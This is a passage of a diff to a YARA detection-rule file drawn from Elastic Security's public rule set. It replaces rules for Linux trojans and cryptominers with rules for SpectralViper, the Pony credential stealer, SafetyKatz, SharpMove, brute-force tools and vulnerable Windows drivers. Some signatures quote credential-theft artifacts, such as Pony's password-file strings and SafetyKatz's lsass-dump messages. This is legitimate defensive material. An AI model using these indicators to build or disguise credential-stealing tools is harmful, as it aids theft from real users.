+		$a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
+		$a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
+		$a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
+		$a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
+		$a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
+		$a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
+		$a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Linux_Trojan_Ipstorm_08Bcf61C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Spectralviper_368C36A0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ipstorm (Linux.Trojan.Ipstorm)"
+		description = "Detects Windows Trojan Spectralviper (Windows.Trojan.SpectralViper)"
 		author = "Elastic Security"
-		id = "08bcf61c-baef-4320-885c-8f8949684dde"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ipstorm.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "503f293d84de4f2c826f81a68180ad869e0d1448ea6c0dbf09a7b23801e1a9b9"
-		logic_hash = "fb2755c04b61d19788a92b8c9c1c9eb2552b62b27011e302840fdcf689b3d9b4"
+		id = "368c36a0-d8ec-4cd6-92b3-193907898dc1"
+		date = "2023-05-10"
+		modified = "2023-05-10"
+		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SpectralViper.yar#L29-L53"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8"
+		logic_hash = "6182bde93e18dc6a83a94b50b193f5f29ed9abfa89b53c290818e7dab5bbb334"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "348295602b1582839f6acc603832f09e9afab71731bc21742d1a638e41df6e7c"
+		fingerprint = "cfe4df5390a625d59f1c30775fe26119707a296feb1a205f3df734a4c0fcc25c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8C 24 98 00 00 00 31 D2 31 DB EB 04 48 83 C1 18 48 8B 31 48 83 79 }
+		$a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
+		$a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
+		$a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
+		$s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
+		$s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
+		$s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
 
 	condition:
-		all of them
+		2 of ($a*) or any of ($s*)
 }
-rule ELASTIC_Linux_Cryptominer_Stak_05088561 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pony_D5516Fe8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
+		description = "Detects Windows Trojan Pony (Windows.Trojan.Pony)"
 		author = "Elastic Security"
-		id = "05088561-ec73-4068-a7f3-3eff612ecd28"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d5516fe8-3b25-4c46-9e5b-111ca312a824"
+		date = "2021-08-14"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Stak.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d0d2bab33076121cf6a0a2c4ff1738759464a09ae4771c39442a865a76daff59"
-		logic_hash = "2b0f8a4efdfb13abcc2a1b43e9c39828ea1de6015fef0ef613bd754da5aa3e9a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Pony.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "423e792fcd00265960877482e8148a0d49f0898f4bbc190894721fde22638567"
+		logic_hash = "4a850d32fb28477e7e3fef2dda6ba327b800e2ebcae1a483970cde78f34a4ff7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dfcfa99a2924eb9e8bc0e7b51db6d1b633e742e34add40dc5d1bb90375f85f6e"
+		fingerprint = "9d4d847f55a693a45179a904efe20afd05a92650ac47fb19ef523d469a33795f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { CD 49 8D 4D 07 48 83 E1 F8 48 39 CD 73 55 49 8B 06 48 8B 50 08 48 8D }
+		$a1 = "\\Global Downloader" ascii fullword
+		$a2 = "wiseftpsrvs.bin" ascii fullword
+		$a3 = "SiteServer %d\\SFTP" ascii fullword
+		$a4 = "%s\\Keychain" ascii fullword
+		$a5 = "Connections.txt" ascii fullword
+		$a6 = "ftpshell.fsi" ascii fullword
+		$a7 = "inetcomm server passwords" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Stak_Ae8B98A9 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Safetykatz_072B7370 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
+		description = "Detects Windows Hacktool Safetykatz (Windows.Hacktool.SafetyKatz)"
 		author = "Elastic Security"
-		id = "ae8b98a9-cc25-4606-a775-1129e0f08c3b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "072b7370-517b-45dc-af23-ba3adbd32fbd"
+		date = "2022-11-20"
+		modified = "2023-01-11"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Stak.yar#L21-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "aade76488aa2f557de9082647153cca374a4819cd8e539ebba4bfef2334221b0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SafetyKatz.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "89a456943cf6d2b3cd9cdc44f13a23640575435ed49fa754f7ed358c1a3b6ba9"
+		logic_hash = "cedd3ede487371a8e0d29804f2b81ae808c7ad01bd803fa39dc2c50e472cff43"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "0b5da501c97f53ecd79d708d898d4f5baae3c5fd80a4c39b891a952c0bcc86e5"
+		fingerprint = "f0d11341fc91d2c45c07c6079aad24a11da03320286216be0a68461b6bf55b02"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { D1 73 5A 49 8B 06 48 8B 78 08 4C 8B 10 4C 8D 4F 18 4D 89 CB 49 }
+		$guid = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii wide nocase
+		$print_str0 = "[X] Not in high integrity, unable to grab a handle to lsass!" ascii wide fullword
+		$print_str1 = "[X] Dump directory \"{0}\" doesn't exist!" ascii wide fullword
+		$print_str2 = "[X] Process is not 64-bit, this version of Mimikatz won't work yo'!" ascii wide fullword
+		$print_str3 = "[+] Dump successful!" ascii wide fullword
 
 	condition:
-		all of them
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Linux_Cryptominer_Stak_D707Fd3A : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Bruteforce_Bad95Bd6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
+		description = "Detects Linux Hacktool Bruteforce (Linux.Hacktool.Bruteforce)"
 		author = "Elastic Security"
-		id = "d707fd3a-41ce-4f88-ad42-d663094db5fb"
+		id = "bad95bd6-94a9-4abf-9d3b-781f0b79c5ce"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Stak.yar#L40-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d0d2bab33076121cf6a0a2c4ff1738759464a09ae4771c39442a865a76daff59"
-		logic_hash = "b825247372aace6e3ce0ff1d9685b6bb041b7277f8967d5f5926b49813cfadc9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Bruteforce.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8e8be482357ebddc6ac3ea9ee60241d011063f7e558a59e6bd119e72e4862024"
+		logic_hash = "8001e6503baeb52c66c9b30026544913270085406a1fe4c45d14629811d36d5f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c218a3c637f58a6e0dc2aa774eb681757c94e1d34f622b4ee5520985b893f631"
+		fingerprint = "10698122ff9fe06b398307ec15ad4f5bb519285e1eaad97011abf0914f1e7afd"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71820,28 +76255,28 @@ rule ELASTIC_Linux_Cryptominer_Stak_D707Fd3A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C2 01 48 89 10 49 8B 55 00 48 8B 02 48 8B 4A 10 48 39 C8 74 9E 80 }
+		$a = { 73 65 6E 64 6D 6D 73 67 00 66 70 75 74 73 00 6D 65 6D 63 70 79 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Stak_52Dc7Af3 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Bruteforce_66A14C03 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
+		description = "Detects Linux Hacktool Bruteforce (Linux.Hacktool.Bruteforce)"
 		author = "Elastic Security"
-		id = "52dc7af3-a742-4307-a5ae-c929fede1cc4"
+		id = "66a14c03-f4a3-4b24-a5db-5a9235334e37"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Stak.yar#L60-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a9c14b51f95d0c368bf90fb10e7d821a2fbcc79df32fd9f068a7fc053cbd7e83"
-		logic_hash = "81998164f517b6f1ef72b10227cfff86aa8bbd2b4e2668f946c8ed59696ae74d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Bruteforce.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2d8e2c34ae95243477820583c0b00dfe3f475811d57ffb95a557a227f94cd55"
+		logic_hash = "c8b2925c2e3f95e78f117ddd52e208d143d19ee75e9283f7f15d10e930eaac5f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "330262703d3fcdd8b2c217db552f07e19f5df4d6bf115bfa291bb1c7f802ad97"
+		fingerprint = "255c1a2e781ff7f330c09b3c82f08db110579f77ccef8780d03e9aa3eec86607"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71849,28 +76284,28 @@ rule ELASTIC_Linux_Cryptominer_Stak_52Dc7Af3 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F9 48 89 D3 4D 8B 74 24 20 48 8D 41 01 4C 29 FB 4C 8D 6B 10 48 }
+		$a = { 48 8B 4C 24 08 78 3D 48 8B 44 24 30 48 29 C8 48 89 4D 08 48 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Stak_Bb3153Ac : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Bruteforce_Eb83B6Aa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
+		description = "Detects Linux Hacktool Bruteforce (Linux.Hacktool.Bruteforce)"
 		author = "Elastic Security"
-		id = "bb3153ac-b11b-4e84-afab-05dab61424ae"
+		id = "eb83b6aa-d7b5-4d10-9258-4bf619fc6582"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Stak.yar#L80-L98"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b974b6e6a239bcdc067c53cc8a6180c900052d7874075244dc49aaaa9414cca"
-		logic_hash = "e8516a24358b12863fe52c823ca67f0004457017334fe77dabf5f08d6bf2d907"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Bruteforce.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8dec88576f61f37fbaece3c30e71d338c340c8fb9c231f9d7b1c32510d2c3167"
+		logic_hash = "bc79860e414d07ee8000eea3d61827272d66faa90a8bf6c65fcda90a4bd762ef"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c4c33125a1fad9ff393138b333a8cebfd67217e90780c45f73f660ed1fd02753"
+		fingerprint = "7767bf57c57d398f27646f5ae2bcda07d6c62959becb31a5186ff0b027ff02b4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71878,28 +76313,29 @@ rule ELASTIC_Linux_Cryptominer_Stak_Bb3153Ac : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 6C 77 61 79 73 22 2C 20 22 6E 6F 5F 6D 6C 63 6B 22 2C 20 22 }
+		$a = { 10 89 45 EC EB 04 83 6D EC 01 83 7D EC 00 74 12 8B 45 EC 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Asio_5F9F29Be : FILE
+rule ELASTIC_Windows_Vulndriver_Iqvw_B8B45E6B : FILE
 {
 	meta:
-		description = "Detects Windows Vulndriver Asio (Windows.VulnDriver.AsIo)"
+		description = "Name: iQVW64.SYS, Version: 1.4.0.0"
 		author = "Elastic Security"
-		id = "5f9f29be-9dbb-4d0f-84f5-7027c1413c2c"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "b8b45e6b-9729-4e0e-ad08-488e1a4306e0"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_AsIo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "52a90fd1546c068b92add52c29fbb8a87d472a57e609146bbcb34862f9dcec15"
-		logic_hash = "a901d81737c7e6d00e87f0eec758dd063eade59d9883e85e04a33bb18f2f99de"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Iqvw.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9"
+		logic_hash = "b0a8716f550ba231ca7db61bafd6effbc351faa45864f9ebf7be81f63f14a933"
+		score = 60
+		quality = 55
 		tags = "FILE"
-		fingerprint = "82967badefb37a3964de583cb65f423afe46abc299d361c7a9cd407b146fd897"
+		fingerprint = "eeabf1c506ac6db4de3279a8b03d676f95c6d93dad6ae0173f2adec2dae41b95"
+		threat_name = "Windows.VulnDriver.Iqvw"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -71907,59 +76343,58 @@ rule ELASTIC_Windows_Vulndriver_Asio_5F9F29Be : FILE
 		os = "windows"
 
 	strings:
-		$str1 = "\\AsIO.pdb"
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 69 00 51 00 56 00 57 00 36 00 34 00 2E 00 53 00 59 00 53 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x04][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x03][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Twistedtinsel_Aa56E527 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Msio_Aa20A3C6 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Twistedtinsel (Windows.Trojan.TwistedTinsel)"
+		description = "Detects Windows Vulndriver Msio (Windows.VulnDriver.MsIo)"
 		author = "Elastic Security"
-		id = "aa56e527-df1a-4db7-ad89-187dff5e8745"
-		date = "2023-12-06"
-		modified = "2024-01-12"
+		id = "aa20a3c6-c07c-49ef-be33-b61e612be42a"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_TwistedTinsel.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ef1cbdf9a23ae028a858e1d09529982eaeda61197ae029e091918690d3a86e2e"
-		logic_hash = "de31d0a5560baf6b37897eba3a637b00b539f542a2620983c3407a6898e003c7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_MsIo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2270a8144dabaf159c2888519b11b61e5e13acdaa997820c09798137bded3dd6"
+		logic_hash = "3b383934dc91536f69e2c6cb2cf2054c5f8a08766ecf1d1804c57f3a2c39c1c2"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "e78a92c34ce7ab5545cd44930839551f72d8b19256d4f3280aad81358233f9eb"
-		severity = 100
+		quality = 75
+		tags = "FILE"
+		fingerprint = "28136b3928fa2c13dc3950df4b71f01f0d2e3977ca131df425096ec36fe6aad1"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 43 3A 5C 50 72 6F 67 72 61 6D 44 61 74 61 5C 4D 69 63 72 6F 73 6F 66 74 5C 45 64 67 65 55 70 64 61 74 65 5C 4C 6F 67 5C 63 68 75 61 6E 67 6B 6F 75 2E 6C 6F 67 }
-		$a2 = { 55 8B EC 83 EC 20 C7 45 EC 01 00 00 00 8B 45 08 8B 48 04 89 4D F4 8B 55 08 8B 02 B9 08 00 00 00 C1 E1 00 8D 54 08 78 89 55 E4 8B 45 E4 83 78 04 00 0F 86 81 01 00 00 8B 4D E4 8B 55 F4 03 11 89 }
+		$str1 = "\\MsIo32.pdb"
 
 	condition:
-		any of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Vulndriver_Biostar_D6Cc23Af : FILE
+rule ELASTIC_Windows_Vulndriver_Msio_Ce0Bda23 : FILE
 {
 	meta:
-		description = "Name: BS_HWMIO64_W10.sys, Version: 10.0.1806.2200"
+		description = "Detects Windows Vulndriver Msio (Windows.VulnDriver.MsIo)"
 		author = "Elastic Security"
-		id = "d6cc23af-4502-4b18-bd10-17495e6e1443"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "ce0bda23-087c-49ec-b064-88b1d45e785a"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Biostar.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8"
-		logic_hash = "6a1f5de3a0daf446ceb812a9f5749410a3a7752dce44e935adc288c95816f59d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_MsIo.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89"
+		logic_hash = "f7fbe0255a006cce42aff61b294512c11e1cceaf11d5c1b6f75b96fb3b155895"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		fingerprint = "65a66dc00e62f32fd088809f3c88ceb9d59d264ecff0d9f830c35dfa464baf43"
-		threat_name = "Windows.VulnDriver.Biostar"
+		fingerprint = "fe0c380dabec41458a5b5e0d7d38a4f9282f1ef87c51addd954da70d7c8ab1f2"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -71967,91 +76402,90 @@ rule ELASTIC_Windows_Vulndriver_Biostar_D6Cc23Af : FILE
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 5F 00 48 00 57 00 4D 00 49 00 4F 00 36 00 34 00 5F 00 57 00 31 00 30 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x98][\x00-\x08]|[\x00-\xff][\x00-\x07])([\x00-\x0e][\x00-\x07]|[\x00-\xff][\x00-\x06])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0d][\x00-\x07]|[\x00-\xff][\x00-\x06]))/
+		$str1 = "\\MsIo64.pdb"
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Vulndriver_Biostar_68682378 : FILE
+rule ELASTIC_Windows_Hacktool_Sharpmove_05E28928 : FILE MEMORY
 {
 	meta:
-		description = "Name: BS_I2cIo.sys, Version: 1.1.0.0"
+		description = "Detects Windows Hacktool Sharpmove (Windows.Hacktool.SharpMove)"
 		author = "Elastic Security"
-		id = "68682378-9b49-4bec-b24c-aba8221a62fe"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "05e28928-6109-4afe-bd86-908d354ddd80"
+		date = "2022-11-20"
+		modified = "2023-01-11"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Biostar.yar#L23-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a"
-		logic_hash = "8510de6fc33bde153f3bd4d1bb8b0d98ce69aae479d242c6043ac8c712dbb888"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpMove.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "051f60f9f4665b96f764810defe9525ae7b4f9898249b83a23094cee63fa0c3b"
+		logic_hash = "021a56dd47d9929e71b82b00d24aa8969a31945681dcf414c69b8d175fb0b6eb"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "df974c8b5bb60b1b6e95d1c70c968dfca1f1e351f50eed29d215da673d45af19"
-		threat_name = "Windows.VulnDriver.Biostar"
-		severity = 50
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "634efb2dedbb181a31ea41ff34d1d0810d1ab4823c8611737d68cb56601a052d"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 5F 00 49 00 32 00 63 00 49 00 6F 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
